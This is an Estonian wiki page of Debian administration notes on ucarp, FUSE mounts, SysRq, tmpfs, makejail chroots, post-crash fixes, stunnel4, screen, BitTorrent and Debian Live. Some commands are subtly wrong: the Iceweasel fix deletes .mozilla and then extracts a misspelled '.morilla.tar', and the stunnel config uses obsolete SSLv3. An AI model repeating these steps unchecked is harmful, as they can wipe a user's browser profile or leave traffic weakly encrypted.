ucarp http://www.ucarp.org/project/ucarp tarkvara abil on võimalik korraldada kahe või enama arvuti nn aktiivset/passiiveset klustrit kasutades CARP protokolli. Klustri igal arvutil on oma individuaalne ip aadress ning lisaks on määratud üks teenuse virtuaalne ip aadress. Sõltuvalt sellest, kuidas parasjagu on klustri osalesid masteri osas kokku leppinud pakub master teenust, teised on nö kõrval-seisvas (ingl. k. standby) asendis.&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install ucarp&lt;br /&gt;
&lt;br /&gt;
Ning seadistamiseks tuleb nt kahe komponendilise klustri ühe arvuti võrguliideste seadistusfailis /etc/network/interfaces kasutada&lt;br /&gt;
&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
    address 192.168.10.51&lt;br /&gt;
    gateway 192.168.10.254&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
   &lt;br /&gt;
    ucarp-vid 3&lt;br /&gt;
    ucarp-vip 192.168.10.48&lt;br /&gt;
    ucarp-password test1234&lt;br /&gt;
    ucarp-advskew 0&lt;br /&gt;
    ucarp-advbase 1&lt;br /&gt;
    ucarp-master yes&lt;br /&gt;
  &lt;br /&gt;
  iface eth0:ucarp inet static&lt;br /&gt;
    address 192.168.10.48&lt;br /&gt;
    netmask 255.255.255.255&lt;br /&gt;
&lt;br /&gt;
ning teise arvuti puhul&lt;br /&gt;
&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
    address 192.168.10.52&lt;br /&gt;
    gateway 192.168.10.254&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
   &lt;br /&gt;
    ucarp-vid 3&lt;br /&gt;
    ucarp-vip 192.168.10.48&lt;br /&gt;
    ucarp-password test1234&lt;br /&gt;
    ucarp-advskew 10&lt;br /&gt;
    ucarp-advbase 1&lt;br /&gt;
    ucarp-master yes&lt;br /&gt;
  &lt;br /&gt;
  iface eth0:ucarp inet static&lt;br /&gt;
    address 192.168.10.48&lt;br /&gt;
    netmask 255.255.255.255&lt;br /&gt;
&lt;br /&gt;
Tulemusena on kokkulepitud masteris lisaks tavalistele vürguseadetele seade eth0:ucarp&lt;br /&gt;
&lt;br /&gt;
  eth0:ucarp Link encap:Ethernet  HWaddr 70:01:68:01:00:51  &lt;br /&gt;
          inet addr:192.168.10.48  Bcast:192.168.10.255  Mask:255.255.255.255&lt;br /&gt;
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;
&lt;br /&gt;
ucarp on võrreldes keepalived või heartbeat tarkvaraga tagasihoidlikemate omadustega, kuid mõnel juhul võib just see ollagi eeliseks.&lt;br /&gt;
&lt;br /&gt;
===FUSE===&lt;br /&gt;
&lt;br /&gt;
Kui tavaliselt toimub failisüsteemidega tegelemine, nt külgeühendamine, privilegeeritud kasujana ning nn kernel-space'is, siis FUSE (Filesystem in Userspace) http://fuse.sourceforge.net/ tehnika võimaldab seda teha tavakasutajana user-space'is. Linuxi tuum sisaldab FUSE tuge ning paketihalduses on rohkesti FUSE funktsionaalsust kasutavat tarkvara. Üldkasutatavad FUSE utiliidid on paketis fuse-utils.&lt;br /&gt;
&lt;br /&gt;
====curlftpfs====&lt;br /&gt;
&lt;br /&gt;
curlftpfs abil saab nö külge monteerida ftp serverist ressurssi, tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install curlftpfs&lt;br /&gt;
&lt;br /&gt;
Kasutmise peab kasutaja kuuluma gruppi fuse, ressursi külgeühendamine toimub öeldes&lt;br /&gt;
&lt;br /&gt;
  $ curlftpfs ftp://ftp.ee.debian.ee /tmp/ftp.ee.debian.org&lt;br /&gt;
&lt;br /&gt;
ja lahtiühendamiseks&lt;br /&gt;
&lt;br /&gt;
  $ fusermount -u /tmp/ftp.ee.debian.org&lt;br /&gt;
&lt;br /&gt;
Kasutamine toimub nii nagu tavalise kohaliku failisüsteemi kasutamine.&lt;br /&gt;
&lt;br /&gt;
====SSHFS====&lt;br /&gt;
&lt;br /&gt;
sshfs abil saab nö külge monteerida serverist, kuhu on ssh ligipääs, ressurssi, tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install sshfs&lt;br /&gt;
&lt;br /&gt;
Kasutamise peab kuuluma gruppi fuse, külgeühendamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  $ sshfs mart@loomaaed.tartu.ee:/katalooginimi-ssh-serveris /katalooginimi-kohalikus-arvutis&lt;br /&gt;
&lt;br /&gt;
Lahtiühendamiseks&lt;br /&gt;
&lt;br /&gt;
  $ fusermount -u /katalooginimi-kohalikus-arvutis&lt;br /&gt;
&lt;br /&gt;
===SysRq===&lt;br /&gt;
&lt;br /&gt;
Kui Linuxi tuum hangub, siis enamikul juhtudel on ta võimeline aru saama talle nö otse saadetud signaalidest. Lenny paketihalduse tuumaga saab vaikimisi SysRq'd kasutada, väljalülitamiseks tuleb parameetrile kernel.sysrq omistada väärtus null&lt;br /&gt;
&lt;br /&gt;
  # sysctl -w kernel.sysrq=0&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/Magic_SysRq_key&lt;br /&gt;
&lt;br /&gt;
====Füüsiliselt konsoolilt====&lt;br /&gt;
&lt;br /&gt;
Füüsiliselt konsoolilt saab sisestada erinevaid kombinatsioone (kui SysRq klahv pole tähistatud, siis tavaliselt toimib sellena PrintScreen)&lt;br /&gt;
&lt;br /&gt;
# failisüsteemide sünkroniseerimine - Alt-SysRq-s&lt;br /&gt;
# failisüsteemide read-only remountimine - Alt-SysRq-u&lt;br /&gt;
# arvuti reboot - Alt-SysRq-b&lt;br /&gt;
&lt;br /&gt;
Iga tegevuse kohta antakse terminalile ka vastav teade.&lt;br /&gt;
&lt;br /&gt;
====Käsurealt====&lt;br /&gt;
&lt;br /&gt;
Kui aga arvutis ollakse eemal ning mingil põhjusel on siiski võimalik talle käske anda, kuigi ta käitub piisavalt juhtimatult, et selleks ettenähtud vahenditega rebooti teha, nt 'shutdown -r now', siis saab samasid tegevusi esile kutsuda selliselt&lt;br /&gt;
&lt;br /&gt;
 bash# echo s &amp;gt; /proc/sysrq-trigger&lt;br /&gt;
 bash# echo u &amp;gt; /proc/sysrq-trigger&lt;br /&gt;
 bash# echo b &amp;gt; /proc/sysrq-trigger&lt;br /&gt;
&lt;br /&gt;
Ammendav loetelu võimalikest sisenditest on kirjas tuuma lähtetekstide kataloogis vist failis Documentation/kernel-parameters.txt.&lt;br /&gt;
&lt;br /&gt;
====Xen konsoolilt====&lt;br /&gt;
&lt;br /&gt;
Xeni konsoolilt saab saata SysRq signaale valides&lt;br /&gt;
&lt;br /&gt;
  Ctrl+O ja täht&lt;br /&gt;
&lt;br /&gt;
h väljastab nimekirja toetatud signaalidest&lt;br /&gt;
&lt;br /&gt;
  SysRq : HELP : loglevel0-8 reBoot tErm Full kIll saK aLlcpus\&lt;br /&gt;
    showMem Nice powerOff showPc show-all-timers(Q) unRaw Sync showTasks \&lt;br /&gt;
    Unmount shoW-blocked-tasks &lt;br /&gt;
&lt;br /&gt;
====Serial konsoolilt====&lt;br /&gt;
&lt;br /&gt;
Serial konsoolilt saab tuumale SysRq signaali saata valides Break + täht.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===RAM failisüsteemid===&lt;br /&gt;
&lt;br /&gt;
RAM failisüsteem võimaldab kasutada arvuti virtuaalmälu st RAM + swap ressursse failisüsteemina, nt sellised tehnikad&lt;br /&gt;
&lt;br /&gt;
* tmpfs - tundub, et 2016 aasta seisuga on see üldiselt soovitatav ram failisüsteem, mõnes kohas kirjandus väidab, et tmpfs ei võimalda failisüsteemi suurust piirata, paistab, et see siiski ei ole nii&lt;br /&gt;
* ramfs - legacy ramfs, 2016 aasta seisuga üldiselt ei soovitata kasutada&lt;br /&gt;
&lt;br /&gt;
====tmpfs====&lt;br /&gt;
&lt;br /&gt;
tmpfs võimaldab kasutada arvuti virtuaalmälu st RAM + swap ressursse failisüsteemina. Kasutamine toimub selliselt&lt;br /&gt;
&lt;br /&gt;
 # mkdir /mnt/tmpfs&lt;br /&gt;
 # mount -t tmpfs -o size=48g tmpfs /mnt/tmpfs&lt;br /&gt;
&lt;br /&gt;
Kuna failisüsteem asub mälus, siis ta töötab kiiresti&lt;br /&gt;
&lt;br /&gt;
 # dd if=/dev/zero of=/mnt/tmpfs/1G bs=1M count=1024&lt;br /&gt;
 1024+0 records in&lt;br /&gt;
 1024+0 records out&lt;br /&gt;
 1073741824 bytes (1.1 GB) copied, 0.981817 s, 1.1 GB/s&lt;br /&gt;
&lt;br /&gt;
Traditsiooniline tmpfs ühenduspunkt tmpfs jaoks on /dev/shm mis on ka vaikimisi Debian Lenny puhul kasutuses&lt;br /&gt;
&lt;br /&gt;
 # df -h&lt;br /&gt;
 Filesystem               Size  Used Avail Use% Mounted on&lt;br /&gt;
 /dev/mapper/system-root  4.0G  3.6G  236M  94% /&lt;br /&gt;
 tmpfs                    3.9G     0  3.9G   0% /lib/init/rw&lt;br /&gt;
 udev                      10M   60K   10M   1% /dev&lt;br /&gt;
 tmpfs                    3.9G  4.0K  3.9G   1% /dev/shm&lt;br /&gt;
 /dev/sda1                107M   82M   20M  81% /boot&lt;br /&gt;
&lt;br /&gt;
Süsteemi poolt vaikimisi kasutatavate tmpfs failisüsteemides on nt selline sisu&lt;br /&gt;
&lt;br /&gt;
 # find /dev/shm -ls&lt;br /&gt;
 5812    0 drwxrwxrwt   3 root     root           60 Jul 19 08:25 /dev/shm/&lt;br /&gt;
 5964    0 drwxr-xr-x   2 root     root           60 Jul 19 08:25 /dev/shm/network&lt;br /&gt;
 6019    4 -rw-r--r--   1 root     root           16 Jul 19 08:25 /dev/shm/network/ifstate&lt;br /&gt;
&lt;br /&gt;
ja &lt;br /&gt;
&lt;br /&gt;
 # find /lib/init/rw&lt;br /&gt;
 /lib/init/rw&lt;br /&gt;
 /lib/init/rw/sendsigs.omit.d&lt;br /&gt;
 /lib/init/rw/sendsigs.omit.d/portmap&lt;br /&gt;
 /lib/init/rw/.ramfs&lt;br /&gt;
&lt;br /&gt;
Lisaks on /dev failisüsteem udev kasutamisel tmpfs peal, üldiselt sobib konkreetse süsteemi puhul küsida&lt;br /&gt;
&lt;br /&gt;
 # mount | grep tmpfs&lt;br /&gt;
&lt;br /&gt;
====ramfs====&lt;br /&gt;
&lt;br /&gt;
 # mkdir /mnt/ramfs&lt;br /&gt;
 # mount -t ramfs -o size=200m ramfs /mnt/ramfs&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://www.jamescoyle.net/knowledge/951-the-difference-between-a-tmpfs-and-ramfs-ram-disk&lt;br /&gt;
&lt;br /&gt;
===makejail abil chroot keskkonna moodustamine===&lt;br /&gt;
&lt;br /&gt;
Makejail programm abil saab moodustada chroot keskkonda, paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install makejail&lt;br /&gt;
&lt;br /&gt;
Programmi tööd juhib seadistusfail, nt /root/makejail-bash.py, kus on antud juhul näidatud&lt;br /&gt;
&lt;br /&gt;
* kuhu kataloogi moodustada chroot keskkond&lt;br /&gt;
* lisada sinna /bin/bash shell ning vastavad teegid lisada (antud juhul kasutatakse AMD64 platvormi)&lt;br /&gt;
&lt;br /&gt;
 # cat /root/makejail-bash.py&lt;br /&gt;
 chroot=&amp;quot;/home/mart&amp;quot;&lt;br /&gt;
 forceCopy=[&amp;quot;/lib64/ld-linux-x86-64.so.2&amp;quot;, &amp;quot;/bin/bash&amp;quot;,&amp;quot;/lib/ld-linux-x86-64.so.2&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
moodustame kataloogi /home/mart&lt;br /&gt;
&lt;br /&gt;
 bash# mkdir /home/mart&lt;br /&gt;
&lt;br /&gt;
ning moodustame sinna alla chroot keskkonna&lt;br /&gt;
&lt;br /&gt;
 bash# makejail /root/makejail-bash.py&lt;br /&gt;
 Loading configuration file /root/makejail.py&lt;br /&gt;
   Defining chroot = '/home/mart'&lt;br /&gt;
   Defining forceCopy = ['/bin/bash']&lt;br /&gt;
 Chroot directory is /home/mart&lt;br /&gt;
 Initializing list of running processes&lt;br /&gt;
   Executing : ps -e&lt;br /&gt;
 Creating temp dir /tmp/makejail_logs&lt;br /&gt;
 Adding files matching '/bin/bash'&lt;br /&gt;
   Checking path '/bin/bash'&lt;br /&gt;
      Dir '/home/mart/bin' missing&lt;br /&gt;
      Checking path '/bin'&lt;br /&gt;
         Making dir /home/mart/bin&lt;br /&gt;
  ..&lt;br /&gt;
   Creating 'lib/libncurses.so.5' as a symlink to 'libncurses.so.5.5' (pwd=/home/mart/lib)&lt;br /&gt;
   Executing : file /lib/libncurses.so.5&lt;br /&gt;
 Sleeping for 2.00 seconds&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib selline failistruktuur&lt;br /&gt;
&lt;br /&gt;
 bash# cd /home&lt;br /&gt;
 bash# find mart -ls&lt;br /&gt;
 507962    4 drwxr-xr-x   4 root     root         4096 Sep  9 15:12 mart&lt;br /&gt;
 507963    4 drwxr-xr-x   2 root     root         4096 Sep  9 15:12 mart/lib&lt;br /&gt;
 507968 1260 -rwxr-xr-x   1 root     root      1286104 May 15 13:19 mart/lib/libc-2.3.6.so&lt;br /&gt;
 507972    0 lrwxrwxrwx   1 root     root           17 Sep  9 15:12 mart/lib/libncurses.so.5 -&amp;gt; libncurses.so.5.5&lt;br /&gt;
 507973  100 -rwxr-xr-x   1 root     root        97928 May 15 13:19 mart/lib/ld-2.3.6.so&lt;br /&gt;
 507967  368 -rw-r--r--   1 root     root       369728 Oct 19  2006 mart/lib/libncurses.so.5.5&lt;br /&gt;
 507974    0 lrwxrwxrwx   1 root     root           11 Sep  9 15:12 mart/lib/ld-linux-x86-64.so.2 -&amp;gt; ld-2.3.6.so&lt;br /&gt;
 507970   12 -rw-r--r--   1 root     root        10392 May 15 13:19 mart/lib/libdl-2.3.6.so&lt;br /&gt;
 507971    0 lrwxrwxrwx   1 root     root           14 Sep  9 15:12 mart/lib/libdl.so.2 -&amp;gt; libdl-2.3.6.so&lt;br /&gt;
 507969    0 lrwxrwxrwx   1 root     root           13 Sep  9 15:12 mart/lib/libc.so.6 -&amp;gt; libc-2.3.6.so&lt;br /&gt;
 507964    0 lrwxrwxrwx   1 root     root            4 Sep  9 15:12 mart/lib64 -&amp;gt; /lib&lt;br /&gt;
 507965    4 drwxr-xr-x   2 root     root         4096 Sep  9 15:12 mart/bin&lt;br /&gt;
 507966  756 -rwxr-xr-x   1 root     root       769368 Dec 11  2006 mart/bin/bash&lt;br /&gt;
&lt;br /&gt;
Selleks, et veenduda kas kasutaja chroot keskkonna tekitamine õnnestus tuleb öelda, mille vastuseks saab shelli (ja siis öelda exit)&lt;br /&gt;
&lt;br /&gt;
 bash# chroot /home/mart&lt;br /&gt;
 bash# &lt;br /&gt;
&lt;br /&gt;
Nt sobib makejaili kasutada OpenSSH kasutajate chrootimisel.&lt;br /&gt;
&lt;br /&gt;
Seda, kas protsess töötab chroot keskkonnas saab kontrollida nt küsides vastava pid kohta, kuis link on mitte / kataloogile, siis on protsess näidatud kataloogi chroot'itud&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /proc/11091/root&lt;br /&gt;
 lrwxrwxrwx 1 root root 0 Feb  2 22:39 /proc/11091/root -&amp;gt; /home/mart&lt;br /&gt;
&lt;br /&gt;
===Peale crashi Debiani käima-aitamine===&lt;br /&gt;
&lt;br /&gt;
Kui Debiani süsteem on crashinud, nt voolu kadumise tõttu, siis enamasti ext3 failisüsteem korrigeerib ennast ise, aga mõned rakendused on segaduses.&lt;br /&gt;
&lt;br /&gt;
====Skype====&lt;br /&gt;
&lt;br /&gt;
Skype teatab vahel, et 'Another Skype instance may exist', sel puhul ei pruugi aitada lock failide eemaldamine&lt;br /&gt;
&lt;br /&gt;
  $ rm .Skype/shared.lck .Skype/martkask/config.lck&lt;br /&gt;
&lt;br /&gt;
aga võib aitada selline järgnevus&lt;br /&gt;
&lt;br /&gt;
* käivitada Skype -dhpath võtmega ja logida korra sisse ning sulgeda programm (Quit), st nii, et protsess skype kaob&lt;br /&gt;
&lt;br /&gt;
  $ skype --dbpath=/home/mart/skype-tmp&lt;br /&gt;
&lt;br /&gt;
* selleks, et chat history jms säiliks, kopeerida vana sisuga üle kontole vastava kastaloogi sisu&lt;br /&gt;
&lt;br /&gt;
  $ rsync -avH /home/mart/.Skype/martkask/ /home/mart/skype-tmp/martkask&lt;br /&gt;
  $ mv /home/mart/.Skype /home/mart/.Skype-20090811-mittetootav&lt;br /&gt;
  $ mv /home/mart/skype-tmp /home/mart/.Skype&lt;br /&gt;
&lt;br /&gt;
* katsuda kasutada Skype'i edasi tavapärasel moel&lt;br /&gt;
&lt;br /&gt;
====Icedove====&lt;br /&gt;
&lt;br /&gt;
Programm ütleb käivitamisel, et '...', aitab kustutada failid&lt;br /&gt;
&lt;br /&gt;
  $ rm /home/mart/.mozilla-thunderbird/r4t56nog.default/.parentlock&lt;br /&gt;
  $ rm /home/mart/.mozilla-thunderbird/r4t56nog.default/lock&lt;br /&gt;
&lt;br /&gt;
ja proovida tavalisel moel edasi kasutada. Kontod jms seadistused peaksid nõnda säilima.&lt;br /&gt;
&lt;br /&gt;
====Iceweasel====&lt;br /&gt;
&lt;br /&gt;
Kui Iceweaseli kataloog .mozilla on ühendatud üle NFS'i siis on peale süsteemi crashi Iceweasel üsna katki. St *\lock\* failide eemaldamine näib mitte aitavat jne, väidetavalt on asi NFS ja Iceweaseli koostöös, tundub, et aitab korra .mozilla kataloog kokku ja lahti pakkida&lt;br /&gt;
&lt;br /&gt;
  $ tar cf .mozilla.tar .mozilla&lt;br /&gt;
  $ rm -rf .mozilla&lt;br /&gt;
  $ tar xf .morilla.tar&lt;br /&gt;
  $ rm .mozilla.tar&lt;br /&gt;
&lt;br /&gt;
===Stunnel4 kasutamine===&lt;br /&gt;
&lt;br /&gt;
Stunnel http://www.stunnel.org/ tarkvara võimaldab ühendada kokku krüptimist iseenesest mitte toetavat klienti ja krüptitud teenust, või vastupidi. Või korraldada krüptimist mitte toetava kliendi ja serveri vahel siiski krüptitud andmevahetust.&lt;br /&gt;
&lt;br /&gt;
Paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install stunnel4&lt;br /&gt;
&lt;br /&gt;
====Stunnel4 kliendi kasutamine krüptitud teenuse poole pöördumisel====&lt;br /&gt;
&lt;br /&gt;
Seadistusfaili /etc/stunnel/stunnel.conf sobib kirjutada&lt;br /&gt;
&lt;br /&gt;
  sslVersion = SSLv3&lt;br /&gt;
  chroot = /var/lib/stunnel4/&lt;br /&gt;
  setuid = stunnel4&lt;br /&gt;
  setgid = stunnel4&lt;br /&gt;
  pid = /stunnel4.pid&lt;br /&gt;
  &lt;br /&gt;
  socket = l:TCP_NODELAY=1&lt;br /&gt;
  socket = r:TCP_NODELAY=1&lt;br /&gt;
  &lt;br /&gt;
  output = /var/log/stunnel4/stunnel.log&lt;br /&gt;
  &lt;br /&gt;
  client = yes&lt;br /&gt;
  &lt;br /&gt;
  [smtps]&lt;br /&gt;
  accept  = 127.0.0.1:46525&lt;br /&gt;
  connect = smtps.loomaaed.tartu.ee:465&lt;br /&gt;
&lt;br /&gt;
tulemusena saab pöörduda smtp kliendiga krüptimata localhost:46525 porti, mida vahendatakse smtps.loomaaed.tartu.ee 465 krüptitud pordiga.&lt;br /&gt;
&lt;br /&gt;
===Terminalihaldusprogrammi Screen kasutamine===&lt;br /&gt;
&lt;br /&gt;
screen tarkvara peab olema paigaldatud kaughallatavasse arvutisse&lt;br /&gt;
&lt;br /&gt;
  # apt-get install screen&lt;br /&gt;
&lt;br /&gt;
* screen käivitamiseks logida eemal olevasse arvutisse sisse ja öelda&lt;br /&gt;
&lt;br /&gt;
 $ screen&lt;br /&gt;
&lt;br /&gt;
* Ctrl-a, c - tekita uus aken&lt;br /&gt;
* Ctrl-a, n - liigu järgmisse aknasse&lt;br /&gt;
* Ctrl-a, d - lase screenist lahti&lt;br /&gt;
* esita nimekiri arvutis olevatest kasutaja screenidest&lt;br /&gt;
  &lt;br /&gt;
 $ screen -ls&lt;br /&gt;
 There is a screen on:&lt;br /&gt;
         2807.pts-5.pg2a     (Detached)&lt;br /&gt;
 1 Socket in /var/run/screen/S-postgres.&lt;br /&gt;
&lt;br /&gt;
* ühendu näidatud screeniga&lt;br /&gt;
&lt;br /&gt;
 $ screen -r 2807.pts-5.pg2a&lt;br /&gt;
&lt;br /&gt;
Süsteemis töötavate screenidele vastavaid protsesse näeb öeldes&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep SCREEN&lt;br /&gt;
&lt;br /&gt;
Mitmekasutajarežiimis screen kasutamiseks saavad järgmised kasutajad ühenduda külge öeldes&lt;br /&gt;
&lt;br /&gt;
 $ screen -x&lt;br /&gt;
&lt;br /&gt;
Screen logimiseks on -L võti, logi kirjutatakse faili screenlogN.log, või ^a-H.&lt;br /&gt;
&lt;br /&gt;
Kui screen on attached olekus, aga vastav terminaliaken on nö kadunud, siis resumemiseks tuleb enne force'ida detach&lt;br /&gt;
&lt;br /&gt;
 $ screen -D&lt;br /&gt;
&lt;br /&gt;
===IEEE 802.1X kasutamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/IEEE_802.1X&lt;br /&gt;
* http://www.cesnet.cz/doc/techzpravy/2007/802.1x-wired-authentication/&lt;br /&gt;
&lt;br /&gt;
===Bittorrent===&lt;br /&gt;
&lt;br /&gt;
Bittorrent on levinud P2P  (peer-to-peer, ingl. k. osaliselt-osalisele) andmevahetusprotokoll, millele on iseloomulik, et suhtlemine leiab olulises osas aset otse osaliste endi vahel. Andmevahetusprotokoll on orienteeritud pigem suuremamahulisema andmevahetuse jaoks ning kopeeritud andmeid reeglina ei saa kasutada nö reaalajas kopeerimise käigus, vaid peale kopeerimise lõppu sobiva rakendusega. Nt kui tegu on video-materjaliga, siis saab seda videot asuda vaatama peale kopeerimise lõppu, mitte aga kopeerimise ajal.&lt;br /&gt;
&lt;br /&gt;
====Bittorrenti kliendi kasutamine andmete kopeerimiseks====&lt;br /&gt;
&lt;br /&gt;
Andmete kopeerimiseks võrgust kohalikku arvutisse on vaja teada huvipakkuva ressursi nö aadressi, mis esineb .torrent faili kujul. Nt jagatakse aadressilt http://www.debian.org/CD/torrent-cd/ edasi liikudes Debian operatsioonisüsteemi .torrent faile&lt;br /&gt;
&lt;br /&gt;
  http://cdimage.debian.org/debian-cd/5.0.3/amd64/bt-cd/debian-503-amd64-CD-1.iso.torrent&lt;br /&gt;
&lt;br /&gt;
Debian Linux sisaldab mitmeid bittorrent kliente (nt rtorrent, qbittorrent, bittorrent, bittornado jt), mis võivad erineda kõigi või mõne aspekti poolest järgnevatest&lt;br /&gt;
&lt;br /&gt;
* millises mahus on bittorrent protokoll toetatud&lt;br /&gt;
* kas programmil on graafiline, pseudo-graafiline (nn curses) või käsurea kasutajaliides&lt;br /&gt;
&lt;br /&gt;
Konkreetselt qbittorrent kasutajaliides näeb välja nt selline&lt;br /&gt;
&lt;br /&gt;
[[Pilt:bittorrent-1.gif]]&lt;br /&gt;
&lt;br /&gt;
kust on näha&lt;br /&gt;
&lt;br /&gt;
* kopeeritakse faili debian-503-amd64-CD-1.iso&lt;br /&gt;
* DL Speed on allalaadimise kiirus ja UP Speed üleslaadimise kiirus&lt;br /&gt;
* Seeds/Leechs näitab kui paljudelt osalistelt kasutaja kopeerib ja kui paljud temalt edasi kopeerivad&lt;br /&gt;
* sakil Search saab vaikimisi qbittorrenti klienti seadistatud trackereid kasutada otsinguks ja otsingu tulemustena leitud .torrenteid kopeerida&lt;br /&gt;
&lt;br /&gt;
Kopeerimise alustamiseks tuleb valida nupp BT ning kopeerida sinna .torrent faili aadress, nt&lt;br /&gt;
&lt;br /&gt;
  http://cdimage.debian.org/debian-cd/5.0.3/amd64/bt-cd/debian-503-amd64-CD-1.iso.torrent&lt;br /&gt;
&lt;br /&gt;
====Bittorrent kliendi kasutamine andmete jagamiseks====&lt;br /&gt;
&lt;br /&gt;
Bittorrentiga on algajal kasutajal oluliselt lihtsam kopeerida andmeid endale kui pakkuda välja oma andmeid teistele kasutajatele.&lt;br /&gt;
&lt;br /&gt;
.torrenti moodustamiseks sobib öelda (programmid on paketist bittorrent) eeldusel, et on olemas fail andmed.iso&lt;br /&gt;
&lt;br /&gt;
  $ btmakemetafile.bittorrent andmed.iso http://torrent.loomaaed.tartu.ee:80/announce&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* andmed.iso - lähtematerjal, mida asutakse välja jagama&lt;br /&gt;
* http://torrent.loomaaed.tartu.ee:80/announce - trackeri aadress&lt;br /&gt;
&lt;br /&gt;
Käsu tulemusena moodustatakse vastav .torrent fail&lt;br /&gt;
&lt;br /&gt;
  andmed.iso.torrent&lt;br /&gt;
&lt;br /&gt;
ning seejärel saab seda välja jagada nt nii&lt;br /&gt;
&lt;br /&gt;
  $ btdownloadcurses.bittorrent andmed.iso.torrent&lt;br /&gt;
&lt;br /&gt;
====Kohaliku trackeri kasutamine====&lt;br /&gt;
&lt;br /&gt;
bittorrent pakett sisaldab bittorrent tracker programmi bttrack. Trackeri käivitamiseks sobib öelda lihtsamal juhul&lt;br /&gt;
&lt;br /&gt;
  # bttrack --dfile dfail.log&lt;br /&gt;
&lt;br /&gt;
mille tulemusena käivitub pordil 80 spetsiaalne http server, mis on valmis võtma vastu bittorrent klientide poolt infot andmete väljajagamise kohta ja teenindama bittorrenti kliente, kes soovivad andmeid endale kopeerida.&lt;br /&gt;
&lt;br /&gt;
Selliselt käivitatud trackerit saab kasutada nt organisatsiooni siseselt, iseasi kas sellisel kasutusel erilist praktilist väärtust on.&lt;br /&gt;
&lt;br /&gt;
====Transmission====&lt;br /&gt;
&lt;br /&gt;
Transmission tarkvaral on mitmed kasutajaliidesed, muu hulgas käsurealt kasutamise võimalus. Tarkvara paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install transmission-cli&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb tekitada seadistusfail nt sellise sisuga ning moodustada näidatud kataloogid&lt;br /&gt;
&lt;br /&gt;
 $ cat ~/.config/transmission/settings.json&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;download-dir&amp;quot;: &amp;quot;/home/priit/transm&amp;quot;, &lt;br /&gt;
   &amp;quot;incomplete-dir&amp;quot;: &amp;quot;/home/priit/transm-incomplete&amp;quot;, &lt;br /&gt;
   &amp;quot;incomplete-dir-enabled&amp;quot;: true, &lt;br /&gt;
   &amp;quot;open-dialog-dir&amp;quot;: &amp;quot;/home/priit&amp;quot;, &lt;br /&gt;
   &amp;quot;recent-download-dir-1&amp;quot;: &amp;quot;/home/priit/transm&amp;quot;, &lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
kusjuures esimesel käivitamisel kirjutab sinna programm paljude muude seadistusparameetrite vaikeväärtused lisaks juurde. Käivitamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 $ /usr/bin/transmission-cli /tmp/proxmox-ve_3.1-93bf03d4-8.iso.torrent&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib fail&lt;br /&gt;
&lt;br /&gt;
 transm/proxmox-ve_3.1-93bf03d4-8.iso&lt;br /&gt;
&lt;br /&gt;
===Amule===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Debian Live===&lt;br /&gt;
&lt;br /&gt;
Debian Live projekt http://debian-live.alioth.debian.org/ tegeleb selliste vahendite ettevalmistamisega, millega kasutaja saab moodustada oma vajaduste rahuldamiseks sobivaid operatsioonisüsteemi tõmmiseid. Live keskkonnale on iseloomulik, et operatsioonisüsteem laaditakse mingilt nö mitte-kõvakettalt, vaid nt CD/DVD plaadilt, USB pulgalt või võrgust ning et sellise keskkonna kasutamine ei mõjuta arvuti lokaalse kõvaketta olekut.&lt;br /&gt;
&lt;br /&gt;
====live-helper====&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install live-helper&lt;br /&gt;
&lt;br /&gt;
Tarkvara kasutamist on kirjeldatud aadressil http://live.debian.net/manual/html/index.html.&lt;br /&gt;
&lt;br /&gt;
Nt alglaadiva usb pulga tõmmise ettevalmistamiseks sobib kasutada&lt;br /&gt;
&lt;br /&gt;
  # mkdir /usr/src/live&lt;br /&gt;
  # cd /usr/src/live&lt;br /&gt;
  # ld_config&lt;br /&gt;
  # ld_build -b usb-hdd&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib fail binary.img mida saab kopeerida nt Windows Vista keskkonnas USB pulgale programmiga http://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/.&lt;br /&gt;
&lt;br /&gt;
Tulemuse katsetamiseks sobib qemu, sedasi&lt;br /&gt;
&lt;br /&gt;
  # qemu -hda binary.img&lt;br /&gt;
&lt;br /&gt;
====live-magic====&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install live-magic&lt;br /&gt;
&lt;br /&gt;
Debian Live Magic programmi käivitamiseks tuleb öelda juurkasutajana&lt;br /&gt;
&lt;br /&gt;
  # live-magic&lt;br /&gt;
